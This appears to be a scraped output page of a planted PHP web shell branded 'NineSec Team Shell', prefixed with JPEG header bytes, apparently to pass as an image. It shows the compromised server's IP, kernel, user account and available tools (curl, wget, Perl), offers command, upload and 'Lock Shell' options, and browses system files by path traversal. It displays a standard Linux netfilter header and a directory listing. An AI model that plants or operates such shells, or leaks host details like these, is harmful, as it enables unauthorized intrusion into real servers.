�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/ldap/../etckeeper/../../usr/include/rpc/../linux/netfilter/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/ldap/../etckeeper/../../usr/include/rpc/../linux/netfilter/nf_conntrack_common.h
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _NF_CONNTRACK_COMMON_H
#define _NF_CONNTRACK_COMMON_H
/* Connection state tracking for netfilter.  This is separated from,
   but required by, the NAT layer; it can also be used by an iptables
   extension. */
enum ip_conntrack_info {
	/* Part of an established connection (either direction). */
	IP_CT_ESTABLISHED,

	/* Like NEW, but related to an existing connection, or ICMP error
	   (in either direction). */
	IP_CT_RELATED,

	/* Started a new connection to track (only
           IP_CT_DIR_ORIGINAL); may be a retransmission. */
	IP_CT_NEW,

	/* >= this indicates reply direction */
	IP_CT_IS_REPLY,

	IP_CT_ESTABLISHED_REPLY = IP_CT_ESTABLISHED + IP_CT_IS_REPLY,
	IP_CT_RELATED_REPLY = IP_CT_RELATED + IP_CT_IS_REPLY,
	/* No NEW in reply direction. */

	/* Number of distinct IP_CT types. */
	IP_CT_NUMBER,

	/* only for userspace compatibility */
	IP_CT_NEW_REPLY = IP_CT_NUMBER,
};

#define NF_CT_STATE_INVALID_BIT			(1 << 0)
#define NF_CT_STATE_BIT(ctinfo)			(1 << ((ctinfo) % IP_CT_IS_REPLY + 1))
#define NF_CT_STATE_UNTRACKED_BIT		(1 << 6)

/* Bitset representing status of connection. */
enum ip_conntrack_status {
	/* It's an expected connection: bit 0 set.  This bit never changed */
	IPS_EXPECTED_BIT = 0,
	IPS_EXPECTED = (1 << IPS_EXPECTED_BIT),

	/* We've seen packets both ways: bit 1 set.  Can be set, not unset. */
	IPS_SEEN_REPLY_BIT = 1,
	IPS_SEEN_REPLY = (1 << IPS_SEEN_REPLY_BIT),

	/* Conntrack should never be early-expired. */
	IPS_ASSURED_BIT = 2,
	IPS_ASSURED = (1 << IPS_ASSURED_BIT),

	/* Connection is confirmed: originating packet has left box */
	IPS_CONFIRMED_BIT = 3,
	IPS_CONFIRMED = (1 << IPS_CONFIRMED_BIT),

	/* Connection needs src nat in orig dir.  This bit never changed. */
	IPS_SRC_NAT_BIT = 4,
	IPS_SRC_NAT = (1 << IPS_SRC_NAT_BIT),

	/* Connection needs dst nat in orig dir.  This bit never changed. */
	IPS_DST_NAT_BIT = 5,
	IPS_DST_NAT = (1 << IPS_DST_NAT_BIT),

	/* Both together. */
	IPS_NAT_MASK = (IPS_DST_NAT | IPS_SRC_NAT),

	/* Connection needs TCP sequence adjusted. */
	IPS_SEQ_ADJUST_BIT = 6,
	IPS_SEQ_ADJUST = (1 << IPS_SEQ_ADJUST_BIT),

	/* NAT initialization bits. */
	IPS_SRC_NAT_DONE_BIT = 7,
	IPS_SRC_NAT_DONE = (1 << IPS_SRC_NAT_DONE_BIT),

	IPS_DST_NAT_DONE_BIT = 8,
	IPS_DST_NAT_DONE = (1 << IPS_DST_NAT_DONE_BIT),

	/* Both together */
	IPS_NAT_DONE_MASK = (IPS_DST_NAT_DONE | IPS_SRC_NAT_DONE),

	/* Connection is dying (removed from lists), can not be unset. */
	IPS_DYING_BIT = 9,
	IPS_DYING = (1 << IPS_DYING_BIT),

	/* Connection has fixed timeout. */
	IPS_FIXED_TIMEOUT_BIT = 10,
	IPS_FIXED_TIMEOUT = (1 << IPS_FIXED_TIMEOUT_BIT),

	/* Conntrack is a template */
	IPS_TEMPLATE_BIT = 11,
	IPS_TEMPLATE = (1 << IPS_TEMPLATE_BIT),

	/* Conntrack is a fake untracked entry.  Obsolete and not used anymore */
	IPS_UNTRACKED_BIT = 12,
	IPS_UNTRACKED = (1 << IPS_UNTRACKED_BIT),

	/* Conntrack got a helper explicitly attached via CT target. */
	IPS_HELPER_BIT = 13,
	IPS_HELPER = (1 << IPS_HELPER_BIT),

	/* Conntrack has been offloaded to flow table. */
	IPS_OFFLOAD_BIT = 14,
	IPS_OFFLOAD = (1 << IPS_OFFLOAD_BIT),

	/* Be careful here, modifying these bits can make things messy,
	 * so don't let users modify them directly.
	 */
	IPS_UNCHANGEABLE_MASK = (IPS_NAT_DONE_MASK | IPS_NAT_MASK |
				 IPS_EXPECTED | IPS_CONFIRMED | IPS_DYING |
				 IPS_SEQ_ADJUST | IPS_TEMPLATE | IPS_OFFLOAD),

	__IPS_MAX_BIT = 15,
};

/* Connection tracking event types */
enum ip_conntrack_events {
	IPCT_NEW,		/* new conntrack */
	IPCT_RELATED,		/* related conntrack */
	IPCT_DESTROY,		/* destroyed conntrack */
	IPCT_REPLY,		/* connection has seen two-way traffic */
	IPCT_ASSURED,		/* connection status has changed to assured */
	IPCT_PROTOINFO,		/* protocol information has changed */
	IPCT_HELPER,		/* new helper has been set */
	IPCT_MARK,		/* new mark has been set */
	IPCT_SEQADJ,		/* sequence adjustment has changed */
	IPCT_NATSEQADJ = IPCT_SEQADJ,
	IPCT_SECMARK,		/* new security mark has been set */
	IPCT_LABEL,		/* new connlabel has been set */
	IPCT_SYNPROXY,		/* synproxy has been set */
};

enum ip_conntrack_expect_events {
	IPEXP_NEW,		/* new expectation */
	IPEXP_DESTROY,		/* destroyed expectation */
};

/* expectation flags */
#define NF_CT_EXPECT_PERMANENT		0x1
#define NF_CT_EXPECT_INACTIVE		0x2
#define NF_CT_EXPECT_USERSPACE		0x4


#endif /* _NF_CONNTRACK_COMMON_H */

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
February 12 2024 9:08:13
root
0755
ipset
--
February 12 2024 9:08:13
root
0755
nf_conntrack_common.h
4.317 KB
January 05 2024 2:59:41
root
0644
nf_conntrack_ftp.h
0.428 KB
January 05 2024 2:59:41
root
0644
nf_conntrack_sctp.h
0.583 KB
January 05 2024 2:59:41
root
0644
nf_conntrack_tcp.h
1.382 KB
January 05 2024 2:59:41
root
0644
nf_conntrack_tuple_common.h
0.875 KB
January 05 2024 2:59:41
root
0644
nf_log.h
0.525 KB
January 05 2024 2:59:41
root
0644
nf_nat.h
1.486 KB
January 05 2024 2:59:41
root
0644
nf_synproxy.h
0.563 KB
January 05 2024 2:59:41
root
0644
nf_tables.h
50.621 KB
January 05 2024 2:59:41
root
0644
nf_tables_compat.h
0.714 KB
January 05 2024 2:59:41
root
0644
nfnetlink.h
2.371 KB
January 05 2024 2:59:41
root
0644
nfnetlink_acct.h
0.879 KB
January 05 2024 2:59:41
root
0644
nfnetlink_compat.h
2.387 KB
January 05 2024 2:59:41
root
0644
nfnetlink_conntrack.h
5.785 KB
January 05 2024 2:59:41
root
0644
nfnetlink_cthelper.h
1.178 KB
January 05 2024 2:59:41
root
0644
nfnetlink_cttimeout.h
2.882 KB
January 05 2024 2:59:41
root
0644
nfnetlink_log.h
3.033 KB
January 05 2024 2:59:41
root
0644
nfnetlink_osf.h
2.603 KB
January 05 2024 2:59:41
root
0644
nfnetlink_queue.h
3.417 KB
January 05 2024 2:59:41
root
0644
x_tables.h
4.361 KB
January 05 2024 2:59:41
root
0644
xt_AUDIT.h
0.701 KB
January 05 2024 2:59:41
root
0644
xt_CHECKSUM.h
0.55 KB
January 05 2024 2:59:41
root
0644
xt_CLASSIFY.h
0.212 KB
January 05 2024 2:59:41
root
0644
xt_CONNMARK.h
0.194 KB
January 05 2024 2:59:41
root
0644
xt_CONNSECMARK.h
0.294 KB
January 05 2024 2:59:41
root
0644
xt_CT.h
0.833 KB
January 05 2024 2:59:41
root
0644
xt_DSCP.h
0.681 KB
January 05 2024 2:59:41
root
0644
xt_HMARK.h
0.911 KB
January 05 2024 2:59:41
root
0644
xt_IDLETIMER.h
1.36 KB
January 05 2024 2:59:41
root
0644
xt_LED.h
0.459 KB
January 05 2024 2:59:41
root
0644
xt_LOG.h
0.627 KB
January 05 2024 2:59:41
root
0644
xt_MARK.h
0.18 KB
January 05 2024 2:59:41
root
0644
xt_NFLOG.h
0.543 KB
January 05 2024 2:59:41
root
0644
xt_NFQUEUE.h
0.761 KB
January 05 2024 2:59:41
root
0644
xt_RATEEST.h
0.381 KB
January 05 2024 2:59:41
root
0644
xt_SECMARK.h
0.633 KB
January 05 2024 2:59:41
root
0644
xt_SYNPROXY.h
0.486 KB
January 05 2024 2:59:41
root
0644
xt_TCPMSS.h
0.229 KB
January 05 2024 2:59:41
root
0644
xt_TCPOPTSTRIP.h
0.397 KB
January 05 2024 2:59:41
root
0644
xt_TEE.h
0.325 KB
January 05 2024 2:59:41
root
0644
xt_TPROXY.h
0.562 KB
January 05 2024 2:59:41
root
0644
xt_addrtype.h
1.059 KB
January 05 2024 2:59:41
root
0644
xt_bpf.h
0.913 KB
January 05 2024 2:59:41
root
0644
xt_cgroup.h
0.723 KB
January 05 2024 2:59:41
root
0644
xt_cluster.h
0.365 KB
January 05 2024 2:59:41
root
0644
xt_comment.h
0.225 KB
January 05 2024 2:59:41
root
0644
xt_connbytes.h
0.563 KB
January 05 2024 2:59:41
root
0644
xt_connlabel.h
0.352 KB
January 05 2024 2:59:41
root
0644
xt_connlimit.h
0.562 KB
January 05 2024 2:59:41
root
0644
xt_connmark.h
0.879 KB
January 05 2024 2:59:41
root
0644
xt_conntrack.h
2.497 KB
January 05 2024 2:59:41
root
0644
xt_cpu.h
0.194 KB
January 05 2024 2:59:41
root
0644
xt_dccp.h
0.472 KB
January 05 2024 2:59:41
root
0644
xt_devgroup.h
0.419 KB
January 05 2024 2:59:41
root
0644
xt_dscp.h
0.685 KB
January 05 2024 2:59:41
root
0644
xt_ecn.h
0.719 KB
January 05 2024 2:59:41
root
0644
xt_esp.h
0.408 KB
January 05 2024 2:59:41
root
0644
xt_hashlimit.h
3.18 KB
January 05 2024 2:59:41
root
0644
xt_helper.h
0.184 KB
January 05 2024 2:59:41
root
0644
xt_ipcomp.h
0.474 KB
January 05 2024 2:59:41
root
0644
xt_iprange.h
0.567 KB
January 05 2024 2:59:41
root
0644
xt_ipvs.h
0.664 KB
January 05 2024 2:59:41
root
0644
xt_l2tp.h
0.722 KB
January 05 2024 2:59:41
root
0644
xt_length.h
0.216 KB
January 05 2024 2:59:41
root
0644
xt_limit.h
0.657 KB
January 05 2024 2:59:41
root
0644
xt_mac.h
0.222 KB
January 05 2024 2:59:41
root
0644
xt_mark.h
0.254 KB
January 05 2024 2:59:41
root
0644
xt_multiport.h
0.704 KB
January 05 2024 2:59:41
root
0644
xt_nfacct.h
0.411 KB
January 05 2024 2:59:41
root
0644
xt_osf.h
1.663 KB
January 05 2024 2:59:41
root
0644
xt_owner.h
0.522 KB
January 05 2024 2:59:41
root
0644
xt_physdev.h
0.54 KB
January 05 2024 2:59:41
root
0644
xt_pkttype.h
0.184 KB
January 05 2024 2:59:41
root
0644
xt_policy.h
1.026 KB
January 05 2024 2:59:41
root
0644
xt_quota.h
0.391 KB
January 05 2024 2:59:41
root
0644
xt_rateest.h
0.839 KB
January 05 2024 2:59:41
root
0644
xt_realm.h
0.215 KB
January 05 2024 2:59:41
root
0644
xt_recent.h
1.033 KB
January 05 2024 2:59:41
root
0644
xt_rpfilter.h
0.313 KB
January 05 2024 2:59:41
root
0644
xt_sctp.h
2.274 KB
January 05 2024 2:59:41
root
0644
xt_set.h
1.784 KB
January 05 2024 2:59:41
root
0644
xt_socket.h
0.625 KB
January 05 2024 2:59:41
root
0644
xt_state.h
0.323 KB
January 05 2024 2:59:41
root
0644
xt_statistic.h
0.699 KB
January 05 2024 2:59:41
root
0644
xt_string.h
0.648 KB
January 05 2024 2:59:41
root
0644
xt_tcpmss.h
0.247 KB
January 05 2024 2:59:41
root
0644
xt_tcpudp.h
1.221 KB
January 05 2024 2:59:41
root
0644
xt_time.h
0.713 KB
January 05 2024 2:59:41
root
0644
xt_u32.h
0.734 KB
January 05 2024 2:59:41
root
0644

NineSec Team - 2022